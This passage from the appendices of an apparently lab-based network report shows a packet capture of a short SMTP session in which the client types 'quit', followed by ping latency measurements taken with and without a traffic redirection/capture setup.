<P><SPAN class=text_head2>6.5 Appendix E – Scenario 2 Traffic Capture</SPAN><BR><SPAN class=code> 1 0.00000 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 <BR> 2 0.00014 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 <BR> 3 0.00585 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 <BR> 4 0.00011 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 <BR> 5 0.00579 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 <BR> 6 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 <BR> 7 40.09285 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 220 localhost.locald <BR> 8 0.00016 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 220 localhost.locald <BR> 9 0.16606 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 <BR>10 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 <BR> <BR>59 1.62586 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 q <BR>60 0.00012 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 q <BR>61 0.04199 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 <BR>62 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 <BR>63 0.14919 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 u <BR>64 0.00012 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 u <BR>65 0.00574 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 <BR>66 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 <BR>67 0.08556 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 i <BR>68 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 i <BR>69 0.00570 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 <BR>70 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 <BR>71 0.12386 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 t <BR>72 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 t <BR>73 0.00577 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 <BR>74 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 <BR>75 0.80846 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 <BR>76 0.00011 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 <BR>77 0.00613 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 <BR>78 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 <BR>79 0.00216 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 221 2.0.0 localhost. <BR>80 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 221 2.0.0 localhost. <BR>81 0.00220 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 <BR>82 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 <BR>83 0.00670 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 <BR>84 0.00008 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 <BR>85 0.00169 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 <BR>86 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 <BR>87 0.00645 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 <BR>88 0.00008 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 </SPAN>
<P><SPAN class=text_head2>6.6 Appendix F – Latency Testing</SPAN><BR>Latency incurred by the additional handling of traffic was examined. ICMP ping was used in the lab to test this from the client machine on the Internet.
<P>Without redirection/capture…
<P><SPAN class=code>C:\>ping 192.168.2.2 <BR> <BR>Pinging 192.168.2.2 with 32 bytes of data: <BR> <BR>Reply from 192.168.2.2: bytes=32 time=10ms TTL=254 <BR>Reply from 192.168.2.2: bytes=32 time<10ms TTL=254 <BR>Reply from 192.168.2.2: bytes=32 time<10ms TTL=254 <BR>Reply from 192.168.2.2: bytes=32 time<10ms TTL=254 <BR> <BR>Ping statistics for 192.168.2.2: <BR> Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), <BR>Approximate round trip times in milli-seconds: <BR> Minimum = 0ms, Maximum = 10ms, Average = 2ms <BR> <BR>C:\>ping -l 1000 192.168.2.2 <BR> <BR>Pinging 192.168.2.2 with 1000 bytes of data: <BR> <BR>Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254 <BR>Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254 <BR>Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254 <BR>Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254 <BR> <BR>Ping statistics for 192.168.2.2: <BR> Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), <BR>Approximate round trip times in milli-seconds: <BR> Minimum = 0ms, Maximum = 0ms, Average = 0ms <BR> <BR>C:\> </SPAN>
<P>With redirection/capture…
<P><SPAN class=code>C:\>ping 192.168.2.2 <BR> <BR>Pinging 192.168.2.2 with 32 bytes of data: <BR> <BR>Reply from 192.168.2.2: bytes=32 time=10ms TTL=250 <BR>Reply from 192.168.2.2: bytes=32 time=10ms TTL=250 <BR>Reply from 192.168.2.2: bytes=32 time=10ms TTL=250 <BR>Reply from 192.168.2.2: bytes=32 time=10ms TTL=250 <BR> <BR>Ping statistics for 192.168.2.2: <BR> Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), <BR>Approximate round trip times in milli-seconds: <BR> Minimum = 10ms, Maximum = 10ms, Average = 10ms <BR> <BR>C:\>ping -l 1000 192.168.2.2 <BR> <BR>Pinging 192.168.2.2 with 1000 bytes of data: <BR> <BR>Reply from 192.168.2.2: bytes=1000 time=31ms TTL=250 <BR>Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250 <BR>Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250 <BR>Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250 <BR> <BR>Ping statistics for 192.168.2.2: <BR> Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), <BR>Approximate round trip times in milli-seconds: <BR> Minimum = 20ms, Maximum = 31ms, Average = 22ms <BR> <BR>C:\> </SPAN><BR></P>
页:
[1]